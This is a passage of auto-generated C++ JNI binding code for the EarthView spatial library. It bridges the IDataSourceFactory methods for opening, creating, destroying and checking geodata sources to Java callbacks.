this->m_openDataSource_IPropertySet_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); jlong connection_j = (jlong) connection; jmethodID __method = __gr->getMethod("openDataSource_IPropertySet_callback"); jlong __values1_j = (jlong)__env->CallLongMethod(__obj, __method , connection_j); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif EarthView::World::Spatial::GeoDataset::IDataSource *__values1 = (EarthView::World::Spatial::GeoDataset::IDataSource*) __values1_j; return __values1; } else { return this->IDataSourceFactory::openDataSource(connection); } } virtual EarthView::World::Spatial::GeoDataset::IDataSource* createDataSource(const EVString& path, const EVString& fileName) { if (this->_gRef != NULL && this->m_createDataSource_EVString_EVString_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); EarthView::World::Core::ev_wstring path_wch = path; jstring path_j = __env->NewString((const jchar*)path_wch.getString(), path_wch.size()); EarthView::World::Core::ev_wstring fileName_wch = fileName; jstring fileName_j = __env->NewString((const jchar*)fileName_wch.getString(), fileName_wch.size()); jmethodID __method = __gr->getMethod("createDataSource_EVString_EVString_callback"); jlong __values1_j = (jlong)__env->CallLongMethod(__obj, __method , path_j, fileName_j); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif EarthView::World::Spatial::GeoDataset::IDataSource *__values1 = (EarthView::World::Spatial::GeoDataset::IDataSource*) __values1_j; return __values1; } else { return this->IDataSourceFactory::createDataSource(path, fileName); } } virtual EarthView::World::Spatial::GeoDataset::IDataSource* createDataSource(EarthView::World::Spatial::GeoDataset::IPropertySet* connection) { if (this->_gRef != NULL && this->m_createDataSource_IPropertySet_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); jlong connection_j = (jlong) connection; jmethodID __method = __gr->getMethod("createDataSource_IPropertySet_callback"); jlong __values1_j = (jlong)__env->CallLongMethod(__obj, __method , connection_j); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif EarthView::World::Spatial::GeoDataset::IDataSource *__values1 = (EarthView::World::Spatial::GeoDataset::IDataSource*) __values1_j; return __values1; } else { return this->IDataSourceFactory::createDataSource(connection); } } virtual void destroyDataSource(EarthView::World::Spatial::GeoDataset::IDataSource* pDataSource) { if (this->_gRef != NULL && this->m_destroyDataSource_IDataSource_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); jlong pDataSource_j = (jlong) pDataSource; jmethodID __method = __gr->getMethod("destroyDataSource_IDataSource_callback"); __env->CallVoidMethod(__obj, __method , pDataSource_j); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif } else { return this->IDataSourceFactory::destroyDataSource(pDataSource); } } virtual ev_bool existDataSource(EarthView::World::Spatial::GeoDataset::IDataSource* pDataSource) const { if (this->_gRef != NULL && this->m_existDataSource_IDataSource_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); jlong pDataSource_j = (jlong) pDataSource; jmethodID __method = __gr->getMethod("existDataSource_IDataSource_callback"); jboolean __values1_j = (jboolean)__env->CallBooleanMethod(__obj, __method , pDataSource_j); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif ev_bool __values1 = (ev_bool) __values1_j; return __values1; } else { return this->IDataSourceFactory::existDataSource(pDataSource); } } }; REGISTER_FACTORY_CLASS(JIDataSourceFactoryProxy); extern "C" JNIEXPORT jint JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_getType_1void(JNIEnv *__env , jobject __thiz, jlong pObjXXXX) { const EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { ev_int32 __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::getType(); jint __values1_j = (jint)__values1; return __values1_j; } else { ev_int32 __values1 = pObjectX->getType(); jint __values1_j = (jint)__values1; return __values1_j; } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1getType_1void(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_getType_void_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"getType_void_callback", "()I"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT jint JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_getType_1void_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX) { const EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; ev_int32 __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::getType(); jint __values1_j = (jint)__values1; return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_createFromXML_1EVString(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jstring xml_j) { #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* xml_ch = (const ev_char*)__env->GetStringUTFChars(xml_j,JNI_FALSE); const EVString xml = xml_ch; __env->ReleaseStringUTFChars(xml_j, (const char *)xml_ch); #else const ev_wchar* xml_ch = (const ev_wchar*)__env->GetStringChars(xml_j,JNI_FALSE); const EVString xml = xml_ch; __env->ReleaseStringChars(xml_j, (const jchar *)xml_ch); #endif EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::createFromXML(xml); jlong __values1_j = (jlong) __values1; return __values1_j; } else { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->createFromXML(xml); jlong __values1_j = (jlong) __values1; return __values1_j; } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1createFromXML_1EVString(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_createFromXML_EVString_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"createFromXML_EVString_callback", "(Ljava/lang/String;)J"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_createFromXML_1EVString_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jstring xml_j) { #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* xml_ch = (const ev_char*)__env->GetStringUTFChars(xml_j,JNI_FALSE); const EVString xml = xml_ch; __env->ReleaseStringUTFChars(xml_j, (const char *)xml_ch); #else const ev_wchar* xml_ch = (const ev_wchar*)__env->GetStringChars(xml_j,JNI_FALSE); const EVString xml = xml_ch; __env->ReleaseStringChars(xml_j, (const jchar *)xml_ch); #endif EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::createFromXML(xml); jlong __values1_j = (jlong) __values1; return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_openDataSource_1EVString_1EVString(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jstring path_j, jstring fileName_j) { #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* path_ch = (const ev_char*)__env->GetStringUTFChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringUTFChars(path_j, (const char *)path_ch); #else const ev_wchar* path_ch = (const ev_wchar*)__env->GetStringChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringChars(path_j, (const jchar *)path_ch); #endif #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* fileName_ch = (const ev_char*)__env->GetStringUTFChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringUTFChars(fileName_j, (const char *)fileName_ch); #else const ev_wchar* fileName_ch = (const ev_wchar*)__env->GetStringChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringChars(fileName_j, (const jchar *)fileName_ch); #endif EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::openDataSource(path, fileName); jlong __values1_j = (jlong) __values1; return __values1_j; } else { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->openDataSource(path, fileName); jlong __values1_j = (jlong) __values1; return __values1_j; } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1openDataSource_1EVString_1EVString(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_openDataSource_EVString_EVString_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"openDataSource_EVString_EVString_callback", "(Ljava/lang/String;Ljava/lang/String;)J"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_openDataSource_1EVString_1EVString_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jstring path_j, jstring fileName_j) { #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* path_ch = (const ev_char*)__env->GetStringUTFChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringUTFChars(path_j, (const char *)path_ch); #else const ev_wchar* path_ch = (const ev_wchar*)__env->GetStringChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringChars(path_j, (const jchar *)path_ch); #endif #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* fileName_ch = (const ev_char*)__env->GetStringUTFChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringUTFChars(fileName_j, (const char *)fileName_ch); #else const ev_wchar* fileName_ch = (const ev_wchar*)__env->GetStringChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringChars(fileName_j, (const jchar *)fileName_ch); #endif EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::openDataSource(path, fileName); jlong __values1_j = (jlong) __values1; return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_openDataSource_1IPropertySet(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong connection_j) { EarthView::World::Spatial::GeoDataset::IPropertySet *connection = (EarthView::World::Spatial::GeoDataset::IPropertySet*) connection_j; EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::openDataSource(connection); jlong __values1_j = (jlong) __values1; return __values1_j; } else { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->openDataSource(connection); jlong __values1_j = (jlong) __values1; return __values1_j; } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1openDataSource_1IPropertySet(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_openDataSource_IPropertySet_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"openDataSource_IPropertySet_callback", "(J)J"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_openDataSource_1IPropertySet_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong connection_j) { EarthView::World::Spatial::GeoDataset::IPropertySet *connection = (EarthView::World::Spatial::GeoDataset::IPropertySet*) connection_j; EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::openDataSource(connection); jlong __values1_j = (jlong) __values1; return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_createDataSource_1EVString_1EVString(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jstring path_j, jstring fileName_j) { #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* path_ch = (const ev_char*)__env->GetStringUTFChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringUTFChars(path_j, (const char *)path_ch); #else const ev_wchar* path_ch = (const ev_wchar*)__env->GetStringChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringChars(path_j, (const jchar *)path_ch); #endif #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* fileName_ch = (const ev_char*)__env->GetStringUTFChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringUTFChars(fileName_j, (const char *)fileName_ch); #else const ev_wchar* fileName_ch = (const ev_wchar*)__env->GetStringChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringChars(fileName_j, (const jchar *)fileName_ch); #endif EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::createDataSource(path, fileName); jlong __values1_j = (jlong) __values1; return __values1_j; } else { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->createDataSource(path, fileName); jlong __values1_j = (jlong) __values1; return __values1_j; } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1createDataSource_1EVString_1EVString(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_createDataSource_EVString_EVString_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"createDataSource_EVString_EVString_callback", "(Ljava/lang/String;Ljava/lang/String;)J"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_createDataSource_1EVString_1EVString_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jstring path_j, jstring fileName_j) { #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* path_ch = (const ev_char*)__env->GetStringUTFChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringUTFChars(path_j, (const char *)path_ch); #else const ev_wchar* path_ch = (const ev_wchar*)__env->GetStringChars(path_j,JNI_FALSE); const EVString path = path_ch; __env->ReleaseStringChars(path_j, (const jchar *)path_ch); #endif #if EV_PLATFORM == EV_PLATFORM_ANDROID const ev_char* fileName_ch = (const ev_char*)__env->GetStringUTFChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringUTFChars(fileName_j, (const char *)fileName_ch); #else const ev_wchar* fileName_ch = (const ev_wchar*)__env->GetStringChars(fileName_j,JNI_FALSE); const EVString fileName = fileName_ch; __env->ReleaseStringChars(fileName_j, (const jchar *)fileName_ch); #endif EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::createDataSource(path, fileName); jlong __values1_j = (jlong) __values1; return __values1_j; } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_createDataSource_1IPropertySet(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong connection_j) { EarthView::World::Spatial::GeoDataset::IPropertySet *connection = (EarthView::World::Spatial::GeoDataset::IPropertySet*) connection_j; EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::createDataSource(connection); jlong __values1_j = (jlong) __values1; return __values1_j; } else { EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->createDataSource(connection); jlong __values1_j = (jlong) __values1; return __values1_j; } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1createDataSource_1IPropertySet(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_createDataSource_IPropertySet_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"createDataSource_IPropertySet_callback", "(J)J"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT jlong JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_createDataSource_1IPropertySet_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong connection_j) { EarthView::World::Spatial::GeoDataset::IPropertySet *connection = (EarthView::World::Spatial::GeoDataset::IPropertySet*) connection_j; EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; EarthView::World::Spatial::GeoDataset::IDataSource* __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::createDataSource(connection); jlong __values1_j = (jlong) __values1; return __values1_j; } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_destroyDataSource_1IDataSource(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong pDataSource_j) { EarthView::World::Spatial::GeoDataset::IDataSource *pDataSource = (EarthView::World::Spatial::GeoDataset::IDataSource*) pDataSource_j; EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::destroyDataSource(pDataSource); } else { pObjectX->destroyDataSource(pDataSource); } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1destroyDataSource_1IDataSource(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_destroyDataSource_IDataSource_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"destroyDataSource_IDataSource_callback", "(J)V"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_destroyDataSource_1IDataSource_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong pDataSource_j) { EarthView::World::Spatial::GeoDataset::IDataSource *pDataSource = (EarthView::World::Spatial::GeoDataset::IDataSource*) pDataSource_j; EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::destroyDataSource(pDataSource); } extern "C" JNIEXPORT jboolean JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_existDataSource_1IDataSource(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong pDataSource_j) { EarthView::World::Spatial::GeoDataset::IDataSource *pDataSource = (EarthView::World::Spatial::GeoDataset::IDataSource*) pDataSource_j; const EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; if (typeid(*pObjectX) == typeid(JIDataSourceFactoryProxy)) { ev_bool __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::existDataSource(pDataSource); jboolean __values1_j = (jboolean)__values1; return __values1_j; } else { ev_bool __values1 = pObjectX->existDataSource(pDataSource); jboolean __values1_j = (jboolean)__values1; return __values1_j; } } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_register_1existDataSource_1IDataSource(JNIEnv *__env, jobject __thiz, jlong pObjXXXX, jstring __method) { JIDataSourceFactoryProxy *pObjectX = (JIDataSourceFactoryProxy*) pObjXXXX; const char *pMethod = __env->GetStringUTFChars(__method, NULL); EarthView::World::Core::ev_string sMethod = pMethod; __env->ReleaseStringUTFChars(__method, pMethod); pObjectX->register_existDataSource_IDataSource_callback(sMethod); if (pObjectX->getJavaReference() != NULL && sMethod != "") { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)pObjectX->getJavaReference(); jobject __obj1 = __gr->getJObject(); jclass __clazz1 = __env->GetObjectClass(__obj1); jmethodID __method = __env->GetMethodID(__clazz1,"existDataSource_IDataSource_callback", "(J)Z"); __gr->setMethod(sMethod, __method); } } extern "C" JNIEXPORT jboolean JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_existDataSource_1IDataSource_1NoVirtual(JNIEnv *__env , jobject __thiz, jlong pObjXXXX, jlong pDataSource_j) { EarthView::World::Spatial::GeoDataset::IDataSource *pDataSource = (EarthView::World::Spatial::GeoDataset::IDataSource*) pDataSource_j; const EarthView::World::Spatial::GeoDataset::IDataSourceFactory *pObjectX = (EarthView::World::Spatial::GeoDataset::IDataSourceFactory*) pObjXXXX; ev_bool __values1 = pObjectX->EarthView::World::Spatial::GeoDataset::IDataSourceFactory::existDataSource(pDataSource); jboolean __values1_j = (jboolean)__values1; return __values1_j; } extern "C" JNIEXPORT void JNICALL Java_com_earthview_world_spatial_geodataset_Idatasourcefactory_setDefaultDataSourcePath_1EVString(JNIEnv *__env , jclass __clazz, jstring dsPath_j) { #if 